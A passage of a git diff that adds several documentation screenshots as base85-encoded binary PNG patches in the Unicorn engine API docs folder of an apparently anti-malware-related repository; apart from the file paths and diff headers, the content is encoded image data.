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 XkMZC63HUd=EvHZXe7x$%D>wf?f$Sy> literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/bpu4r8hgzUvO7Pm.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/bpu4r8hgzUvO7Pm.png new file mode 100644 index 0000000000000000000000000000000000000000..a5df3cb9fddef3f8bd439832960bee893ad23d6d GIT binary patch literal 4887 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 O@nb<ptG_sN<-Y*hluaW5 literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/dqKBwAWUL7XvypE.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/dqKBwAWUL7XvypE.png new file mode 100644 index 0000000000000000000000000000000000000000..b05321665a6a779b55ca9b2f63d49a964e1a0a67 GIT binary patch literal 3653 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 